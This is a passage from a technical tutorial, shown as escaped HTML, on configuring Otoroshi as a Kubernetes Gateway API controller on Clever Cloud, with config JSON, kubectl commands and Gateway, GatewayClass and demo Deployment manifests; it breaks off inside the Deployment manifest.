everything in GitOps.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The Netty server&lt;/strong&gt;: Those &lt;code&gt;OTOROSHI_NEXT_EXPERIMENTAL_NETTY_SERVER_*&lt;/code&gt; variables enable Otoroshi’s next-generation HTTP server based on Netty. This server handles HTTP/1.1, HTTP/2, and HTTP/3 properly, and it’s required for gRPC support. We enable it and bind it to ports 80 and 443.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The Gateway API configuration&lt;/strong&gt; — this is the critical part — lives in &lt;code&gt;OTOROSHI_INITIAL_CUSTOMIZATION&lt;/code&gt;. Let’s break it down:&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;json&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  &quot;config&quot;&lt;/span&gt;&lt;span&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    &quot;scripts&quot;&lt;/span&gt;&lt;span&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      &quot;enabled&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      &quot;jobRefs&quot;&lt;/span&gt;&lt;span&gt;: [&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        &quot;cp:otoroshi.plugins.jobs.kubernetes.KubernetesGatewayApiControllerJob&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      ],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      &quot;jobConfig&quot;&lt;/span&gt;&lt;span&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        &quot;KubernetesConfig&quot;&lt;/span&gt;&lt;span&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          &quot;gatewayApi&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          &quot;gatewayApiWatch&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          &quot;gatewayApiControllerName&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;otoroshi.io/gateway-controller&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          &quot;gatewayApiHttpListenerPort&quot;&lt;/span&gt;&lt;span&gt;: [&lt;/span&gt;&lt;span&gt;8080&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;80&lt;/span&gt;&lt;span&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          &quot;gatewayApiHttpsListenerPort&quot;&lt;/span&gt;&lt;span&gt;: [&lt;/span&gt;&lt;span&gt;8443&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;443&lt;/span&gt;&lt;span&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          &quot;gatewayApiSyncIntervalSeconds&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;10&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;&quot;jobRefs&quot;&lt;/code&gt; activates the &lt;code&gt;KubernetesGatewayApiControllerJob&lt;/code&gt; background job — this is the component that watches Gateway API resources and reconciles them&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;&quot;gatewayApi&quot;: true&lt;/code&gt; enables the Gateway API controller&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;&quot;gatewayApiWatch&quot;: true&lt;/code&gt; enables near-real-time watching of Kubernetes resources (instead of polling only on a fixed interval)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;&quot;gatewayApiControllerName&quot;: &quot;otoroshi.io/gateway-controller&quot;&lt;/code&gt; is the controller identifier — this must exactly match the &lt;code&gt;controllerName&lt;/code&gt; in your &lt;code&gt;GatewayClass&lt;/code&gt; resource&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;&quot;gatewayApiHttpListenerPort&quot;: [8080, 80]&lt;/code&gt; — this tells Otoroshi which port values are valid for HTTP listeners in &lt;code&gt;Gateway&lt;/code&gt; resources. Gateways that reference port 8080 or port 80 will be accepted&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;&quot;gatewayApiSyncIntervalSeconds&quot;: 10&lt;/code&gt; — with watch mode enabled, this is how quickly forced reconciliation cycles run&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;The two Services&lt;/strong&gt;: We create two services for Otoroshi:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;otoroshi-service&lt;/code&gt; (ClusterIP on 8080/8443) — internal access for other pods in the cluster&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;otoroshi-lb-external&lt;/code&gt; (LoadBalancer on 80/443) — this is what gets exposed to the outside world. Clever Cloud will provision an external load balancer and assign it a public IP&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Apply the deployment:&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;kubectl&lt;/span&gt;&lt;span&gt; apply&lt;/span&gt;&lt;span&gt; -f&lt;/span&gt;&lt;span&gt; manifests/otoroshi.yaml&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;step-7-watch-the-logs&quot;&gt;Step 7: Watch the Logs&lt;/h3&gt;
&lt;p&gt;There’s a certain ritual to deploying something new: you wait, and you watch logs. Let’s follow Otoroshi’s startup:&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;kubectl&lt;/span&gt;&lt;span&gt; -n&lt;/span&gt;&lt;span&gt; otoroshi&lt;/span&gt;&lt;span&gt; logs&lt;/span&gt;&lt;span&gt; -f&lt;/span&gt;&lt;span&gt; deploy/otoroshi&lt;/span&gt;&lt;span&gt; --tail=200&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You’ll see Otoroshi boot up, initialize its storage, start the Kubernetes synchronization jobs, and eventually log something like:&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;[INFO] [KubernetesGatewayApiControllerJob] Gateway API controller started, watching for GatewayClass resources with controllerName: otoroshi.io/gateway-controller&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That’s the signal you’re waiting for. The Gateway API controller is running and ready to pick up resources.&lt;/p&gt;
&lt;p&gt;While you wait for Otoroshi to become healthy, you can also check the load balancer service to find the external IP that was assigned:&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;kubectl&lt;/span&gt;&lt;span&gt; -n&lt;/span&gt;&lt;span&gt; otoroshi&lt;/span&gt;&lt;span&gt; get&lt;/span&gt;&lt;span&gt; service&lt;/span&gt;&lt;span&gt; otoroshi-lb-external&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;EXTERNAL-IP&lt;/code&gt; column will initially show &lt;code&gt;&amp;#x3C;pending&gt;&lt;/code&gt;. Once Clever Cloud has provisioned the load balancer, it’ll fill in with a real IP address. Note this IP — you’ll need it for DNS configuration and testing.&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;kubectl&lt;/span&gt;&lt;span&gt; -n&lt;/span&gt;&lt;span&gt; otoroshi&lt;/span&gt;&lt;span&gt; get&lt;/span&gt;&lt;span&gt; service&lt;/span&gt;&lt;span&gt; otoroshi-lb-external&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;NAME&lt;/span&gt;&lt;span&gt;                   TYPE&lt;/span&gt;&lt;span&gt;           CLUSTER-IP&lt;/span&gt;&lt;span&gt;      EXTERNAL-IP&lt;/span&gt;&lt;span&gt;        PORT&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;S&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;otoroshi-lb-external&lt;/span&gt;&lt;span&gt;   LoadBalancer&lt;/span&gt;&lt;span&gt;   10.x.x.x&lt;/span&gt;&lt;span&gt;        &amp;#x3C;&lt;/span&gt;&lt;span&gt;LOAD_BALANCER_I&lt;/span&gt;&lt;span&gt;P&lt;/span&gt;&lt;span&gt;&gt;&lt;/span&gt;&lt;span&gt;  80:...,&lt;/span&gt;&lt;span&gt; 443:...&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;step-8-install-the-gateway-api-crds&quot;&gt;Step 8: Install the Gateway API CRDs&lt;/h3&gt;
&lt;p&gt;The Kubernetes Gateway API is not built into Kubernetes by default — it ships as separate CRDs. We need to install them before we can create &lt;code&gt;GatewayClass&lt;/code&gt;, &lt;code&gt;Gateway&lt;/code&gt;, or &lt;code&gt;HTTPRoute&lt;/code&gt; resources.&lt;/p&gt;
&lt;p&gt;The SIG Network team maintains official release artifacts. We’re using v1.4.0:&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;kubectl&lt;/span&gt;&lt;span&gt; apply&lt;/span&gt;&lt;span&gt; -f&lt;/span&gt;&lt;span&gt; &apos;https://github.com/kubernetes-sigs/gateway-api/releases/download/v1.4.0/standard-install.yaml&apos;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This installs the stable channel CRDs: &lt;code&gt;GatewayClass&lt;/code&gt;, &lt;code&gt;Gateway&lt;/code&gt;, &lt;code&gt;HTTPRoute&lt;/code&gt;, &lt;code&gt;GRPCRoute&lt;/code&gt;, &lt;code&gt;ReferenceGrant&lt;/code&gt;, and a few others.&lt;/p&gt;
&lt;p&gt;Verify they’re in place:&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;shell&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;kubectl&lt;/span&gt;&lt;span&gt; get&lt;/span&gt;&lt;span&gt; crds&lt;/span&gt;&lt;span&gt; |&lt;/span&gt;&lt;span&gt; grep&lt;/span&gt;&lt;span&gt; gateway.networking.k8s.io&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You should see entries for &lt;code&gt;gatewayclasses.gateway.networking.k8s.io&lt;/code&gt;, &lt;code&gt;gateways.gateway.networking.k8s.io&lt;/code&gt;, &lt;code&gt;httproutes.gateway.networking.k8s.io&lt;/code&gt;, and so on.&lt;/p&gt;
&lt;h3 id=&quot;step-9-deploy-the-gateway-configuration&quot;&gt;Step 9: Deploy the Gateway Configuration&lt;/h3&gt;
&lt;p&gt;Now the fun begins. We need to create two resources: a &lt;code&gt;GatewayClass&lt;/code&gt; that tells Kubernetes “Otoroshi handles this”, and a &lt;code&gt;Gateway&lt;/code&gt; that defines our listening configuration.&lt;/p&gt;
&lt;p&gt;Here’s the manifest (&lt;code&gt;manifests/gateway.yaml&lt;/code&gt;):&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;yaml&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;apiVersion&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;gateway.networking.k8s.io/v1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;kind&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;GatewayClass&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;metadata&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;otoroshi&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;spec&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  controllerName&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;otoroshi.io/gateway-controller&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;---&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;apiVersion&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;gateway.networking.k8s.io/v1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;kind&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;Gateway&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;metadata&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;demo-otoroshi-gateway&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  namespace&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;otoroshi&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;spec&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  gatewayClassName&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;otoroshi&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  listeners&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  - &lt;/span&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;http&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    protocol&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;HTTP&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    port&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;80&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    hostname&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;*.demo-cke.io&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    allowedRoutes&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      namespaces&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        from&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;All&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Let’s unpack this:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;GatewayClass&lt;/strong&gt;: The &lt;code&gt;controllerName&lt;/code&gt; here — &lt;code&gt;otoroshi.io/gateway-controller&lt;/code&gt; — must exactly match the &lt;code&gt;gatewayApiControllerName&lt;/code&gt; we configured in Otoroshi’s environment variables. This is how Otoroshi claims ownership of this GatewayClass.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Gateway&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;gatewayClassName: otoroshi&lt;/code&gt; links this Gateway to our GatewayClass&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The listener is on port 80 (HTTP), matching one of our &lt;code&gt;gatewayApiHttpListenerPort&lt;/code&gt; values&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;hostname: &quot;*.demo-cke.io&quot;&lt;/code&gt; is a wildcard — any subdomain of &lt;code&gt;demo-cke.io&lt;/code&gt; can be routed through this gateway&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;allowedRoutes.namespaces.from: All&lt;/code&gt; means HTTPRoute resources from &lt;em&gt;any&lt;/em&gt; namespace can attach to this gateway. For production, you’d likely want &lt;code&gt;Same&lt;/code&gt; or &lt;code&gt;Selector&lt;/code&gt; with specific labels&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Apply it:&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;kubectl&lt;/span&gt;&lt;span&gt; apply&lt;/span&gt;&lt;span&gt; -f&lt;/span&gt;&lt;span&gt; manifests/gateway.yaml&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A few seconds after applying (the Gateway API watch mode kicks in very quickly with &lt;code&gt;gatewayApiSyncIntervalSeconds: 2&lt;/code&gt;), you can verify the GatewayClass was accepted:&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;kubectl&lt;/span&gt;&lt;span&gt; get&lt;/span&gt;&lt;span&gt; gatewayclass&lt;/span&gt;&lt;span&gt; otoroshi&lt;/span&gt;&lt;span&gt; -o&lt;/span&gt;&lt;span&gt; yaml&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Look for the status section:&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;yaml&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;status&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  conditions&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  - &lt;/span&gt;&lt;span&gt;lastTransitionTime&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;...&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    message&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;GatewayClass accepted&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    reason&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;Accepted&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    status&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;True&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    type&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;Accepted&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;Accepted: True&lt;/code&gt; means Otoroshi recognized the GatewayClass and is managing it. If you see &lt;code&gt;False&lt;/code&gt; here, double-check that the &lt;code&gt;controllerName&lt;/code&gt; matches exactly — it’s case-sensitive.&lt;/p&gt;
&lt;h3 id=&quot;step-10-deploy-a-demo-application-and-httproute&quot;&gt;Step 10: Deploy a Demo Application and HTTPRoute&lt;/h3&gt;
&lt;p&gt;Now let’s deploy something to actually route traffic to. I’m using &lt;code&gt;traefik/whoami&lt;/code&gt; — a tiny Go web server that echoes back information about the HTTP request it received. Perfect for debugging and demos.&lt;/p&gt;
&lt;p&gt;Here’s the full manifest (&lt;code&gt;manifests/routes.yaml&lt;/code&gt;):&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;yaml&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;apiVersion&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;v1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;kind&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;Namespace&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;metadata&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;demo&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;---&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;apiVersion&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;apps/v1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;kind&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;Deployment&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;metadata&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;whoami&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  namespace&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;demo&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  labels&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    app&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;whoami&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;spec&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  replicas&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  selector&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    matchLabels&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      app&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;whoami&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  template&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    metadata&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      labels&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        app&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;whoami&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    spec&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      containers&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        - &lt;/span&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;whoami&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          image&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;traefik/whoami:latest&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          ports&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;            - &lt;/span&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;http&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;              containerPort&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;80&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          readinessProbe&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;            httpGet&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;              path&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;/&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;              port&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;http&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;            initialDelaySeconds&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;            periodSeconds&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;5&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          livenessProbe&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;            httpGet&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;              path&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;/&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;              port&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;http&lt;/span&gt;&lt;/span&gt;
